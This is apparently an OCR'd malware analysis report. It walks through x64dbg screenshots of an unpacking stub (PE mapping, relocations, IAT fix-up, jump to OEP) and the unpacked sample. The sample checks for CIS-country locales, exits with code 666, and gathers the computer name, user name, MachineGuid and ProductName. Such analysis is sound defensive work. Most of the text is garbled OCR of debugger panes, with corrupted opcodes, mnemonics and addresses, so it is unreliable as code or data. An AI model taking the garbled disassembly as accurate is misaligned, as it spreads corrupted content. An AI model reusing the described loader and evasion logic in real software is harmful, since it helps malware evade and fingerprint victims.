00400110| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 0O Tl loo e
00400120| 00 00 0O 00|00 0O 00 00|00 00 0O 00|00 OO 0O 0O eTEaes Il e,
00400130| 00 00 DO 00|00 OO 00 00|00 OO 00 00|00 OO 0O 00| . L. | | et
00400140| 00 00 OO 00|00 OO 00 00|00 00 00 00|00 00 00 00| .r.veenernee... e
ANANNIEN] M O O N0 O N 00 e e 0o 0o 0o nane et e o &7 O013FA70 B5726464
< > |«

By comparing the base address where the new PE was placed against its ImageBase
(preferred base address), via pNtHdr->OptionalHeader.ImageBase (as seen by offset 0x34),
it can decide whether base relocations need to take place or not. In this case, base
relocations do not need to be performed, but there is code inside the shellcode that could do
it in case it was needed.
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| 000305FA B8BSS & mov eax,dword ptr ss:|febp-aCf) ”
[E TP g £ 8848 34 mov ecx,dword ptr ds |eax+34|
e | 00030603 3B4D DB cmp ecx,dword ptr ss:flebp
[——* | 00030606 ~ 74 25 je 30620
1 e | 00030608 8B95 G4FFFFFF mov edx,dword ptr ss:febp-3C)
| @ | 0003060E 8B45 DB mov eax,dword ptr ss:|febp-2:5]
| 00030611 ZB4Z 34 sub eax,dword ptr ds:[edx+34]
| | 00030614 8985 14FFFFFF mov dword ptr ss:[Jebp-eCll,eax
1 || 00030614 8B8D 14FFFFFF mov ecx,dword ptr ss:[Jebp-ec
I e | 00030620 51 push ecx
I | 00030621 8B5S D8 mov edx,dword ptr ss:[febp-z3f
I e | 00030624 52 push edx
1 ® || 00030625 ES 66000000 €all 30630
1 s | D0D2062A 83C4 08 add esp,8
——>e( 00030620 BB45 58 mov eax,dword ptr
®| 00030630 50 push eax
| 00030631 BB4D 90 mov ecx,dword ptr
® | 00030634 51 push ecx
e | 00030635 8B5S DB mov edx,dword ptr ss:[Jebp-z:s]
| 000306358 52 push edx
®| 00030639 E8 AZ2020000 call 308E0
| D0D3063E 83C4 0OC add esp,C
e | 00030641 64:A1 00000000 mov eax,dword ptr [ll:[0]
| 00030647 8038 FF cmp byte ptr ds:[eax],FF
r----#| 00030644 ~ 74 04 je 30650
i ® | D003064C 8BOO mov eax,dword ptr ds:[eax]
L e | 0003064E| ~ EB F7 jmp 30647
& 00030650 641 A3 00000000 mov dword ptr [l [0],=ax
®| 00030656 8B85 G4FFFFFF mov eax,dword ptr s5:|Jebp-3C])
e | 0003065C BB4D DB mov ecx,dword ptr ss:|febp-23)
® | 0003065F 0348 28 add ecx,dword ptr ds:[eax+23]
e | 00030662 894D ASB mov dword ptr ss:|[lebp-58[,ecx
. BB55 AB mov edx,dword ptr ss:[febp-5aff
. 52 push edx
@ | 00030669 8B45 DB mov eax,dword ptr ss:[Jebp-zs]
| 0003066C 50 push eax
. E8 DEDZ20000 call 30880
. 83C4 08 add esp, 8
. FF55 AB E&8M dword ptr ss:|[febp-55]
. 8945 98 mov dword ptr ss:|[febp-63], eax
. 8B4D 95 mov ecx,dword ptr ss:[Jebp-63s]
. 51 push ecx
. 6A FE push FFFFFFFE
e | 000306581 FF55 D4 €all dword ptr ss:|Jebp-zcC])
® | 000306584 BEBES mov esp,ebp
e | 00030686 5D pop ebp v
e NnnnaneaT [akcd rat
£ >
B4 Dump 1 B4 Dump 2 B4y Dump 3 B4y Dump 4 B4 Dump 5 @ Watch 1 [x=] Locals ;’ stilick
HEX A
O019FAEC [@0l 00 40 00[A8 57 00 00|02 00 00 00(D0 10 40 00
0019FAFC 80 00 OO0 00|00 DO 00 00|00 10 00 DO
0019FBOC |20 00 00 00|00 00 00 01(2C EC 19 00|C1 14 40 00
0019FBIC (80 B9 41 00|BC 4D 40 00|00 00 00 00|D0 AQ 3C 00
0019FB2C |00 00 00 00|00 00 00 00(3C FB 19 00|00 00 00 DO
0019FB3C |68 00 00 OO|AB BA CO 93 (A9 3E 00 00|C7 EF 00 DO
0019FB4C (AC FB 19 00|34 C5 29 00|FD 00 00 00|DL AS 83 77
O019FBSC (D0 00 B4 7S |0A CD 91 F2|00 00 00 00|BC_ER 19 00
0019FB6C |16 AE A9 F1|87 18 40 00|04 00 00 0O0|AE ED 00 DO
O0D19FB7C | 2C 5C 53 E3|92 E4 22 CC v
nantacoor |34 cc ca voclar 2o 30 wclAn £o Br oclnn an an nn
L4 >

0019FAZC

0019FAZ

0019FA34

00139FA3

0019FA3C

0013FA4
00139FA4
0019FA4

0019FA4C

0019FAS
0013FAS
0019FAS

00139FASC

<

4: [esp+10] 0O00O0L1S5EA

e —

D0L9FAB4
00000006
0| 00010000
00000000
5| DDDO15EA
00003218
0| DDDO5TAS
4| 74726956
8| 516C6175
79726575
0| 00000000
4|(6D726554
B|74616E69
72685465

"Tloc

Hide FPU

EAX 004000D0 "PE"

EBX 003CADDD

ECX  004000D0 "PE™

EDX 00000006

EBP OD19FBl4

ESP ODL19FAZE &"1loc™

ESI 00000000

EDI 00404DBC <edp.EntryPoint>

EIP 00020800

EFLAGS 00000246

ZE1 PF1 AF O

OF 0 5F 0 DF O

CFO TFO IF1

LastError 00000002 (ERROR_FILE_NOT_FOUND)

LastStatus COOO000F (STATUS_NO_SUCH_FILE)

GS 0028 FS 0053

ES 002E D5 002B

C5 0023 55 002B

ST(0) 00000000000000000000 X87F0 EMpty 0.000000000000000000
5T(1) 00000000000000000000 x87r1 Empty 0.000000000000000000
5T(2) 00000000000000000000 x87r2 Empty 0.000000000000000000
ST(3) 00000000000000000000 X87r3 EmpLy 0.000000000000000000
ST(4) 00000000000000000000 X87F4 EMpTy 0.000000000000000000
5T(5) 00000000000000000000 x87r5 Empty 0.000000000000000000
5T(6) 00000000000000000000 x87r6 Empty 0.000000000000000000
ST(7) 00000000000000000000 X877 EmMpLy 0.000000000000000000
X87Tagword FFFF

X87TW_0 3 (Empty) X87TW_1 3 (Empty)

x87TW_2 3 (Empt x87TW_3 3 (Empt

Default (stdcall)

1: [esp+4] 00000006

2: [esp+8] 00010000

3: [esp+C] 00000000

The Import Address Table (IAT) is then fixed up by first loading needed DLLs and then

resolving needed imports by the PE. The following image demonstrates this initial process,
as seen by accessing the Import Table, via pNtHdr-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress

(offset 0x80).
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®| ooo308F2 CE45 DF 74 mov byte ptr ss:ffebp-21],74 ~ || wide EPu
e 0D0208F6 C645 EO 50 mov byte ptr ss:|febp-z0§,50
@ | DDDZ08BFA CE45 E1 72 mov byte ptr ss:|[lebp-1F],72
o[ noozosFe C645 E2 6F mov byte ptr ss:[lebp-1E],6F Eg gg;ggggg EHLETEEED
| 00030902 €645 E3 63 mov byte ptr ss:|lebp-1DJ, 63
e | ooozos06 CE45 E4 65 mov byte ptr ss:[[ebp-1c],ss ECX 00400000 €dp. 00400000
e[ 0conz020a C645 E5 73 mov byte ptr ss:[ebp-18],7 EDx 00400000 edp. 00400000
e | 0oo3z090E C645 E6 73 mov byte ptr ss:[febp-1af,73 EBF  0DO013FALl4
#| 00030912 CE45 E7 00 mov byte ptr ss:|lebp-13],0 ESP OODL13F3ED
| DOD30916 8B45 08 mov eax,dword ptr ss:[lebp+sl ESI 00000000
e 000320919 8945 CC mov dword ptr ss:|[lebp-34f),eax EDI 00404DBC <edp. EntryPoint>
& || D002091C 8B4D CC mov ecx,dword ptr ss:|febp-z4f]
. 8B5S 08 mov edx,dword ptr ss:[febp+3]) EIP 00030922
(EIF g 2 0351 3C add edx,dword ptr ds:[ecxt3c
. 8955 ES mov dword ptr ss:|febp-18,edx
e|[ 00030928 8B45 EB mov eax,dword ptr ss:[lebp-1s[] EELSGSEE googgzgz
e 000320928 8B4D 08 mov ecx,dword ptr ss:[febp+s]) o 0 DF D
| nonzo09zE 0388 80000000 add ecx,dword ptr ds:[eax+30] Qc o aE
| Do020934 894D FO mov dword ptr ss:[ebpSIUN, =CR [3E @ - i
e 00020937 8B5S FO mov edx,dword ptr ss:[Jebp-10]
o[ ooozoozA 837A 0C 00 cmp dword ptr ds:[edx+C],0 LastError 00000002 (ERROR_FILE_NOT_FOUND)
-- e 0003093E| ~ OF84 CCOODODO je 30410 LastStatus CODD00OF (STATUS_NO_SUCH_FILE)
| 00030944 BEB45 FO mov eax,dword ptr ss:[Jebp-10
e 00020947 8B4D 08 mov ecx,dword ptr ss:[febp+s]) G5 002B FS 0053
| 0003094A 0348 0C add ecx,dword ptr ds:[eax+C] ES D0ZE QS 00ZB
®| 00030940 894D EC mov dword ptr ss:[febp-14],ecx CS 0023 5SS 0D02B
e 00020950 8B5S EC mov edx,dword ptr ss:[Jebp-14]
| 00030953 52 push edx
=||asseaner tEs=R0G Bl cword ptr ss:Hebp il ST(0) D0000DDOOODODODOOD0D X87r0 EMPLy 0.00D000DDOOOOODOO0D
¢ || 00030957 8945 D8 mov dword ptr ss:llebp-28],eax
e/ 00030954 837D D8 00 cmp dword ptr ss:|febp-28],0 -
r----#| 0D03095E ~ 75 05 jne 30965 Default {stdcall)
———e| 00030260 ~ E9 ABOOOODODO jmp 30A10 1: [esp+4] DO19FALS
L--->e/ 00030965 8B45 FO mov eax,dword ptr ss:[lebp-10(] [esp+8] 77BA227C ntdl1.77BA227C
| 00030968 8338 00 emp dword ptr ds:[eax],0 w| 3: [esp+C] 7785DEEA kernelbase.7785DEEA
(——--@|| nnnznaco st nc ina 2navo 3i [espiid] 74697845
i < -
; ESERERR 00400000 | edp.00400000
Woumpt  @lpump2  @Hoump3  @Houmps  Wyoumps @ wathi  lx=lLocals 2 sttt Fo01or5E 4 g’glgmla edp- 00
8 d11.77BA227C from 777
Address [Hex ASCIT || CO19FSES| 77BAZ27C | return to nt .
0019F9F0 |45 78 69 74|50 72 6F 63|65 73 73 00|40 0D DO 00| EX1tProcess.@. .. DOL9FSEC | 778SDEEA | return to kernelbase.778SDEEA from 777
0019FAD0 | E4 FA 19 00|00 00 00 00|00 00 40 00 ou. codhs o DO19F9F4 | 636F7250
0019FALD | 00 04 00 00|14 FB 19 00|28 06 03 00 0012E9F S| 00737365
0019FA20 |20 29 FA 75 (20 SF F9 75 06 00 00 00|.)uu DO19F9FC | 00000040
O019FA30 | D0 00 01 00|00 00 00 00|EA 15 00 00|18 92 00 00 c c c o 0019FADD | 0019FAF4
0019FA40|AB 57 00 00|56 69 72 74|75 61 6C 51(75 65 72 79| W..virtualQuery 0019FA04 | 00000000
O019FA50| 00 00 00 00|54 65 72 6D |69 6E 61 74|65 54 68 72|....TerminateThr 00197405 | 00400000 | edp. 00400000
0019FAG0 | 55 61 &4 00 47 65 74 50|72 6F 63 41|ead.E.@.GetProca DO19FAOC | 00010000 .
0019FA70 |64 64 72 65|73 73 00 00|ROD 00 40 00(56 69 72 74|ddress..B.@.Virt 0019FAL0 | 0000400
OD19FA80|75 61 6C 41|6C 6C 6F 63|00 00 00 00|4C 6F 61 64|ualalloc....Load 001aral4| 0D19FBL4
0019FA90| 4C 69 62 72161 72 79 41100 00 00 00|20 SEF3 73 Librarya.... _lu 0013FALE [D0D03063E| return to D003063E from ODO308ED
; ] Uu.Juup|iu.. .. no19Faic | no400000| edp. 00400000
O019FABO |56 69 72 74|75 61 6C 46|72 G5 G5 00(00 00 00 00|virtualFree..... 001araz0 | 75EA2980| kernel3z. TEEAZ990
DO19FACO| 0D 00 40 00(56 69 72 74|75 61 6C 50|72 6F 74 65|..@.VirtualProte 0019ra-4 | 75F95F20| Kernel32. 75E95E20
D019FADD| 63 74 00 77 (00 00 79 00|RQSE F9 75|EQ 77 F9 75|cCt.w..y.DAUUawl 0019F A28 | 0D19FAR4| "110e"
O019FAEOQ|C1 14 40 00|00 00 FB 01 (AQ 61 FB 75|00 00 40 00(A.@...0. alu..e@. o012e42C | oDooOOE
O0019FAFO|A8 57 00 00|02 00 00 00|20 10 40 00 Clc c corarazo | cooroooo
0019FBOO| 80 00 00 00|00 DO 00 00|00 10 00 00|20 00 00 00 0019F A2 4 | 00000000
0019FB10| 00 00 00 O1|2C FC 19 00 torarazs | coooisEa
0019FB20|BC 4D 40 00|00 00 00 00|QDQ 80 2F 00(00 00 0O 00 no19FAzc | 0oon9z1s
O019FB30| 00 00 00 00|3C FB 19 00|00 00 00 00|68 00 00 00 5
NMA1TAFRAN | AR RA N Q2laa 2F NN ANlec7 FE NN nnlar FR 149 0N v 0013FA40 | 000057AS
< > <

By accessing AddressOfEntryPoint, via pNtHdr->OptionalHeader.AddressOfEntryPoint
(offset 0x28), the Original Entry Point (OEP) is then obtained and subsequently called, thus
transfering execution to the newly unpacked executable, as it is now ready to be executed.

0003063E 83C4 0OC add esp,C ~ | Hide FPU
00030641 64: A1 00000000 mov e=ax,dword ptr Il:[0]
00030647 8038 FF cmp byte ptr ds:[eax],FF Jr—
00030644 ~ 74 04 je 30650 ' % gg;ggg‘gg FE
P I s ':'I';; ggé;g“’“"d ptr ds: [eax] ECX 00400000 edp. 00400000
00030650 64:A3 00000000 mov dword ptr Hll:[0],eax EDX  0D0408B6C edp. 00408B6C
00030656 B8BS5 G4FFFFFF mov eax,dword ptr ss:|[ebp-3c] EEF  OO19FE14 " .
0003065 8B4D mov ecx,dword ptr ss:|[ebp-2s] ESP  O019FA28 &"11oc
5F 0348 28 add ecx,dword ptr ds:[eax+28 ESI 00000000
00030662 834D AB mov dword ptr ss:ebp-5EJ, 8Cx EDI 00404DBC <edp. EntryPoint>
00030665 BB55 AS mov edx,dword ptr Ss:[lebp-5 o
00030668 52 push edx EIP 0003065F
00030669 B8B45 DB mov eax,dword ptr ss:[ebp-235]
0003066C 50 push eax
00030660 ES 0E0DZ0000 call zoeso EFLAGS 00000246
- 2 ZE1 EE1 AE O
83C4 08 add esp,8 o o DF o
FF55 AS €& dword ptr ss:[lebp-53 Qc £
5345 35 mov dword ptr ss:|[[eDp-5o),eax CEO0 TFO IF1
B8B4D 98 mov ecx,dword ptr ss:[lebp-csj
51 push ecx LastError 00000000 (ERROR_SUCCESS)
6A FE push FFFFFFFE LasSTSTATUS CODD0034 (STATUS_OBJECT_NAME_NOT_FOUND)
00030681 FF55 D4 &8l dword ptr ss:|[Jebp-2c])
00030684 BBES mov esp,ebp GS 002B  FS D053
00030686 5D pop ebp ES 002B DS 002B
popsnes s £3 HEE €S 0023 S5 002B
00030688 cc int3
gggfgg?? EE ::g ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
ooogoega s ints ST(1) 00000000000000000000 X87r1l Empty 0.000000000000000000
0002068 cc ints 5T(2) 00000000000000000000 Xx87r2 Empty 0O.000000000000000000
00030680 cc int3 ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
0003068E GG int3 ST(4) 00000000D00000000000 X87r4 EMPTY 0.000000000000000000
0003068F cc ints ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
00030630 55 push ebp ST(6) 3FFDCONDO00000000000 x87r6 Empty 0.3750000000000000000
00030691 BBEC mog ebp,esp ST(7) 3FFF3000000000000000 Xx87r7 Empty 1.000000000000000000
00030693 83EC 1C sub esp,1C
00030696 8B45 08 mov eax:dword ptr_ss:[lebp+s] x87Tagword FFFF
00030639 8945 E4 mov dword ptr ss:[febp-1cll,eax 87TW_0 3 (Empt 87TW_1 3 (Empt
0003069C 8B4D E4 mov ecx,dword ptr ss:[ebp—'ic] ;87T\\'—2 3 (Emptyj :37.“\,—3 3 (E:pty)
0003063F 8B55 08 mov edx,dword ptr ss:|febp+si)
00030642 0351 3C add edx,dword ptr ds:[ecx+3C]
000306A5 8955 F4 mov dword ptr ss:[lebp-cll,edx Default (stdcall)
000306A8 BB45 F4 mov eax,dword ptr ss:[lebp-Ci = 0000001
000306AE 5368 AOQDO0D000 00 cmp dwo;d ptr ds: [eax+A0],0 E:‘:g:g} 00010003
000306BZ| ~ 75 0F jne 2068E e [esp+c] 0000000O
r(mn::nan.\ 22N var al al o [ESp+1D] DODOLSEA
) 0019FAB4
eoumptl  @WYpump2 @ Dump3  @WDump4 @ Dumps @ watch1 eI Locals & sthic® MG0Tor At | 00000006
0013FA30 | 00010000
M‘ Hex IAM]] I ~ | NNTaE L4 | Annnnnnn
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One of the very first things that is done after execution starts at the new PE's entry point is to

call a subroutine that eventually calls GetLocalelnfoW() with LCID
LOCALE_SYSTEM_DEFAULT (default locale for the operating system), in order to compare
it against a possible set of unicode strings previously constructed on the stack by mov
instructions. The constructed unicode strings are:

Belorussian
Azerbaijani

Ukrainian

Moldavian

Georgian
Armenian
Turkmen
Russian
Kyrgyz
Kazakh
Uzbek
Tajik

If the requested locale information matches any of those strings, as seen by the use of
IstrcmpiW(), then the current process is terminated via TerminateProcess() with exit code

666.

04020A6
04020AD
0402084

o

0

o

0

[J[H[]"(]C 2
004020CC
00402006
004020E0Q
004020EA
004020F 4
004020FB
00402102
00402109
00402110
00402115
0040211B
00402121
00402122
0

}

10402
10402143
10402145
J040214E
104021 4C
10402152
J040215 4 ©®
J0402156
J040215E
J0402161
10402162
J0402164
J04021
10402
1040216
0040216D
NN4nN216F
<

B4 GECODDDD
ES 55007A00

EC 62006500

FO_ 68000000
S8FFFFFF 550068
SCFFFFFF 720061
60FFFFFF 69006E
G4FFFFFF 690061
68FFFFFF_GE0000
80 47006500

84 6FO07200

88 67006900

8C GL00GEDD

68 ADDDODOO

8985 24FFFFFF

8D85 SBFEFFFF

50

68 01100000

68 00080000

EF15 DC814000

BBID 4C814000

BDBS FSFEFFFF

BF 0CO00000

FF36

8085 58FEFFFF

50

FF15 84804000

85C0

75 OE

63 9A020000

FF15 54814000

50

FFD3
83CE 04
B3EF 01
7% D7

mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov

dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
mov dword
mov dword
push a0
mov dword pTr ss:
lea eax,dword ptr
push eax

push 1001

push BOO

ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr

WA NN A A A

WA 0 A0 A 1 A e

call dword ptr ds:

mov ebx,dword ptr
lea esi,dword ptr
mov edi,C

push dword ptr ds:

lea eax,dword ptr
push eax

&8l dword ptr ds:

test eax,eax
jne edp.402164
push 294

g8l dword ptr ds:

push eax

€2l ebx

add esi,4

sub edi,1

jne edp.4021432
pop edi

pop esi

non ehx

i[lebp-4Cl, 6E
:[febp-15f], 7A0055

[=bp-14], 650062

:llebp-100, 6B
:[febp-asl, &
:[febp-A4),610072
i llebp-A0fl, 6E0DGS
:ffebp-9cl, &
: [febp-284, 6E

:llebp-80], 650047

BOOSE

10069

1,72006F

:[ebp—.4],GEDDGL

lebp-DCll, eax
ss:[febp-1asj

:[lebp-108]

i]
:[febp-1as]
[<&1strcmpin=]

=&GetLocaleInfon=]
: [<&TerminateProcess>]

[=&GetCurrentProcess=]

>

Hide FPU

EAX 00130450 "D4x"

EBX D013FAZOD

ECX 00402DF0 edp.00402DF0
EDX 00400000 edp. 00400000
EBP 00D19D5F8

ESP 00190434

ESI 00000000

EDI 00404DBC <edp.EntryPoint>
EIP 0040212C edp.0040212C
EFLAGS 00000246

ZF 1 PF 1 AF O
OF 0 SF O DF O
CF 0O TF O IF 1

LastError 00000000 (ERROR_SUCCESS)
LastStatus COO00034 (STATUS_OBJECT_NAME_NOT_FOUND)

GS DO2E FS 0053
ES 002E DS 0028

C5 0023 35 002ZB

ST{0) 00000000000000000000 x87r0 Empty 0.000000000000000000
5T({1) 00000000000000000000 x87r1 Empty 0.000000000000000000
ST(2) 00000000000000000000 X87r2 Empty O.000000000000000000
5T(3) 00000000000000000000 Xx87r3 Empty 0.000000000000000000
5T(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
S5T(5) 40028000000000000000 %87r5 Empty 8.000000000000000000
5T(6) 3FFDCOO0000000000000 X87r6 Empty 0.3750000000000000000
ST(7) 3FFFB000000000000000 X87r7 Empty 1.000000000000000000

w
Default (stdcall)

dword ptr [D040810C <edp.&GeTLocalelnfow>]=<Kernelsz.GetLocal eLnt o= ;: 22314] ooogﬂgol
3: [esp+8] 00190450 "D4x"
4: [esp+C] 000DD0DAD
. text:D040212C edp.exe: $212C #212C
@4 Dump 1 Upump2 @Y Dump3 @Y Dump4 @ Dump 5 @ watch1  [x=ILocals 2 struct 00190438 Dooolggg EOCALE SYSTEM_DEFAULT
0019043C | 00190450 | "DAX"
Address | Hex _ _ - - e | 00120440 | oonDOOAD
00190520 |42 00 65 O0|6C 0D GF 00|72 OO 75 00|73 00 73 00|B.€.1.0.r.U.5.5. 00150444 | 00404DBC | edp. EntryFoint
0019053069 00 61 00|GE 00 00 00|41 00 7A 00|65 00 72 00|i.a.n...A.Z.e.r. EEToeira lo0a0000 :
00130540 |62 00 61 00|69 00 G6A 00|61 00 GE 00|63 00 00 00|b.a.i.j.a.n.i... Teotha oo Tbs g
00190550 |55 00 6B 00|72 00 61 00|69 00 6E 00|63 00 &1 00| U.k.r.a.i.n.i.a. 00190450 | 00583444
00190560 | 6E 00 00 00(4D 00 6F 00|&C 00 &4 00|6L 00 76 00|n...M.o.1.d.a.v. 00130454 | 00583408
0013057063 00 61 OO|GE 00 0D 00|47 00 65 OO|6F 00 72 00|i.@.M...G.€.0.r. oot lo7ocacal
DO1905 80 | 67 1 00 GE 00|00 00 00 00|41 DO 72 00|g.i.a.n.....A.r. g5 loosEs0E0
00190590 | €D 00 63 00|61 00 6E 00|00 00 FF FF|m.e.n.i.a.n...yy 00190480 | 001907E4
D01905A0 |53 00 6B 00|60 00 65 0O|6E 00 00 00| T.u.r.K.m.e.n... i on’e oo ooneas]
DO1905B0 |52 00 73 00|63 00 61 OO(GE 00 00 00|R.u-S.S.i.a.n. eges oo 0000
001905C0 | 4B 00 79 00|72 00 67 00|79 00 74 00|00 00 19 00| K.y.F.g.y.Z 0019046C | 00582408
001305D0| 4B 00 €1 DO0|7A 00 61 00| 6B 00 68 00|00 00 OO 00| K.3a.Z.a.k.h. 00190470| 77B6810C |return to ntd11.77B6810C from ntdll.77BA3EAD
DO1905ED|55 00 7A OD|62 OO 65 00| 6B 00 0D 00|54 00 €1 DO|U.z.b.e.k 00190474 | T7C4ES84 | ntd11.77C4ES 84
0013D5F0| 6A 00 69 00[6B 00 00 00|10 FA 19 00(17 2E 40 00fj.i.k.. Y| anianaz=l anannnnn ’
< <
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It then calls GetComputerNameW(), GetUserNameW() and some other function twice with
different arguments, the first time with "SOFTWARE\Microsoft\Cryptography" and
"MachineGuid", while the second time with "SOFTWARE\Microsoft\Windows
NT\CurrentVersion" and "ProductName"

E8304000
BO

4BEFFFFF
F15 44304000
68 C0814000
8D85 Z20EBFFFF
50

FF15 8C304000

68 30824000

8BF8
E8 17F7FFFF
83C4 10

8BFD
8DB5 BBFCFFFF
57

50

Al 8C804000
FFDO

BEFCFFFF

20804000
4BEFFFFF

BSFCFFFF

90804000
SOF1FFFF

BSFCFFFF

90804000
SOF1FFFF

50
E8 A1F7FEEE
<

€& dword ptr ds:
Tea eax,dword ptr
push eax

Tea eax,dword ptr
push eax

gall dword ptr d
push edp.4081C0

i

eax
dword ptr ds:
edp. 408200
edp. 4081C0
edp. 402590
push edp. 408
push edp. 40
mov edi,eax
€all edp.402590
add esp,10

mov esi,eax

Tea e=ax,dword ptr
push edi

push eax
mov_eax,dword ptr
call

push esi

push
call
push
push
call

0

push eax
€al dword ptr ds
lea eax,dword ptr
push eax

push eax
gall dword ptr ds

Tea eax dword ptr
pus

lea eax dwnrd ptr
push eax

€all dword ptr ds:
lea eax,dword ptr
push eax

Fall edn_sn>e1n

Tea eax,dword ptr ss

lea esax,dword ptr ss

Tea eax,dword ptr ss

[<&GetComputerNamew:]
ssiflebp-50{

ssiflebp-10B8]
[<&GetUserNamews]
:[febp-17E0]
[<&1strcpyws]

ss:lebp-348

ds: [<&1stropyws]

:[febp-z43]

: [<&1strcatws]
ss:[lebp-EB0fl

s5:[Jebp-34s])

[<&1strcatw=]
ss:lebp-eBoff

eax;: L"SOFTWARE\\Microsofti\\Cryptography"
eax: L"SOFTWAREY \Microsofty\Cryptography"
4081C0: L "SOFTWARE" \Mi crosofth\Cryptography"

eax: L"SOFTWARE\\Microsoft\\Cryptography"

408200: L "MachineGuid”
4081C SOFTWARE'\M1icrosofti\Cryptography"
40821 "ProductName”
40823 SOFTWARE'\\Microsoft\\windows NT\\C

edi:EntryPoint,

eax:L"SOFTWAREN\Microsofti\\Cryptography"
edi:EntryPoint

eax:L"SOFTWARE\\Microsoft\\Cryptography"
eax:L"SOFTWAREN\Microsoft\\Cryptography"

eax;: L"SOFTWARE\\Microsofti\\Cryptography"

eax: L"SOFTWAREY\M1icrosofti\\Cryptography”

eax: L"SOFTWARE\\Microsofti\Cryptography"

eax: L"SOFTWAREY\Microsofti\Cryptography"

eax:L"SOFTWARE\Microsoft\\Cryptography"

eax:L"SOFTWAREN\Microsoft\\Cryptography"

eax:L"SOFTWARE\\Microsoftily

G5 0028
ES 0028
€5 0023 335 002B

FS 0053
DS 00ZB

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
4002 8000000000000000
3FFDCO00000000000000
3FFF8000000000000000

x87Tagword FFFF
xB?Tw D 3 (Empty}

Default (stdcall)

X87ro
X8Trl
X87rZ
X87r3
HBTr4
X87rs
XBTr6
X87r7

Empty
Empty
EmpTy
Empty
Empty
Empty
Empty
Empty

X87TW_1 3 (Empty)

A wide FPu
EAX 0019E230 L"SOFTWARE"\Microsoft\\Cryptography"
EBX 0019FAZ0
ECX  72688D59
EDX 00408200 L"MachineGuid"”
EBP 0019FALD
EsP O01905F8 &L"SOFTWARE\\Microsoft\\Cryptography™
ESI 00000000
EDI 00404DBC <edp.EntryPoint>
EIP  O0402E63 edp. 00402E63
EFLAGS 00000246
ZF1 PF1 AF O
OF 0O SF O DFO
CF o TF O IF1
LastError 00000000 (ERROR_SUCCESS)

LasTSTatus C0000034 (STATUS_OBIECT_NAME_NOT_FOUND)

0. 000000000000000000
0. 000000000000000000
0.000000000000000000
0.000000000000000000
0.000000000000000000
£.000000000000000000
0.3750000000000000000
1.000000000000000000

edp. 00402

30

.Text:00402E63 edp.exe: $2E63 #2E63

esp] 004081C0 L"mFTHAKE\\m:rnsnft\\cryptngraphy"
esp+4] 00408200 L"MachineG
esp+8] 00404DBC <edp. EntryPumt)

esp+C]_00000000

B4 Dump 1

@' Dump 2

B4 Dump 3

Y Dump 4

g% Dump 5

B watch 1

[x=] Locals

2 struct

Address | Hex

| AscT1

004081C0
00408200
00404DEC

L"MachineGu
edp. Entrme nt

L"SDFTWAKE\\MI crosofth\\Cryptography”

The function simply allocates a page via VirtualAlloc(), opens the provided subkey via
RegOpenKeyExW() from the HKEY_LOCAL_MACHINE (HKLM) registry hive and
KEY_READ access rights, and then retrieves the data for the provided value name
associated with the opened registry key via RegQueryValueExW(). The pointer to the
retrieved data (the page returned from the VirtualAlloc() call) is then the return value of this
function.

. 55 push ebp 5

. BBEC mov. ebp.esp ol | COEE2 (0

. B3EC 08 subhesp. EAX  DD19D5EC

o 56 push esi

I Bich | T oo

. 68 00200000 push 3000

. 68 FC010000 push 1FC (EE:  EILATEST

. 6A 00 push 0 EBP 0013D5F0

. €745 F8 FC010000|mov dword ptr ss:febp-cl, ESE 00139050

. FF15 &C814000 €&l dword ptr ds [<&V1rtua]M]uc>] ESI 00420000

. 8BFO mov esi,eax EDI 00404DBC <edp. EntryPoint>

. 8D45 FC lea eax,dword ptr ss:lfebp-4]

. 50 push eax EIP  004025C7 edp. 004025C7

. 68 12010200 push 201139

. GA 00 push 0

. FF75 08 push dword ptr ss:|lebp+s] [ebp+8] i L"SOFTWARE\\Microsoft\\Cryptography” ;EL?GSFF gunigzgs

. 68 02000080 push 80000002 OF 0 SE O DF O

. FF15 34804000 call dword ptr ds:[<&RegOpenkeyExw>]
85C0 test eax,eax CFO TFO IF1

~ 75 29 jne edp.4025FA
8D45 F8 lea eax,dword ptr ss:[febp-3] LastError 00000000 (ERROR_SUCCESS)
50 push eax Laststatus CO000034 (STATUS_OBIECT_MAME_NOT_FOUND)
56 push esi
6A 00 push 0 GS 002B  FS 0053
6A 00 push 0 - o . ES DOZE D5 DOZEB
FF75 Dc push dword ptr ss:|[[ebp+C]) [ebp+C] L "MachineGuid Cs 0023 355 002B
FF75 push dword ptr ss:febp-4])
ErLs $5s04000 E:gl g‘;‘i'gag” ds: [<&RegQueryvalueExu>] ST(0) 00000000000000000000 x87r0 Empty 0.000000000000000000
. 75 10 Jne edp. b025FA 5T(1) 00000000000000000000 x87rl Empty 0.000000000000000000

FE75 FC bush dword ptr ss:[Eebp-41 ST(2) 00000000000000000000 X87r2 EMPTy O.000000000000000000
FF15 33804000 gall dword ptr ds:[<&RegClosekey=] 5T(3) 00000000000000000000 X87r3 Empty 0O.000000000000000000
8BCE mov eax,esi 5T(4) 0O00DO0D0OOD0O00N00000 X87r4 Empty 0.000000000000000000
33 pop esi ST(5) 40028000000000000000 X87r5 EmMpTy §.000000000000000000
BBES mov eSp,Ebp 5T(6) 3FFDCO00000000000000 X87r6 Empty 0.3750000000000000000
5D DDD eb) ST(7) 3FFFS000000000000000 X87r7 EmMpTy 1.000000000000000000
[=]
FF75 FC push dword ptr ss:lfebp-4] x87Tagword FFFF

. FF15 38804000 €all dword ptr ds: [<8RegCloseKkey>] vR7TW N 2 (EmMATY vRTTW 1 3 (EmAru

o e ECTr o Default (stdcall)

. pop esi

. BBES mov esp,ebp 1: [esp] 80000002

. 5D pop ebp 2: [esp+4] 004081C0 L™SOFTWARE“\‘\Microsoft\\Cryptography"

. c32 ret w| 3: [esp+8] 00000000

of o = —= ) 4: [esp+C] 00020119

) & 30000002
B4 Dump 1 WWoump2  @pump3  @dDump4 @4 Dump 5 ) watch 1 Ie=| Locals 4 struct D04081C0 | L" SOFTWARE\\M1€rosaft,\Cryptoaraphy”
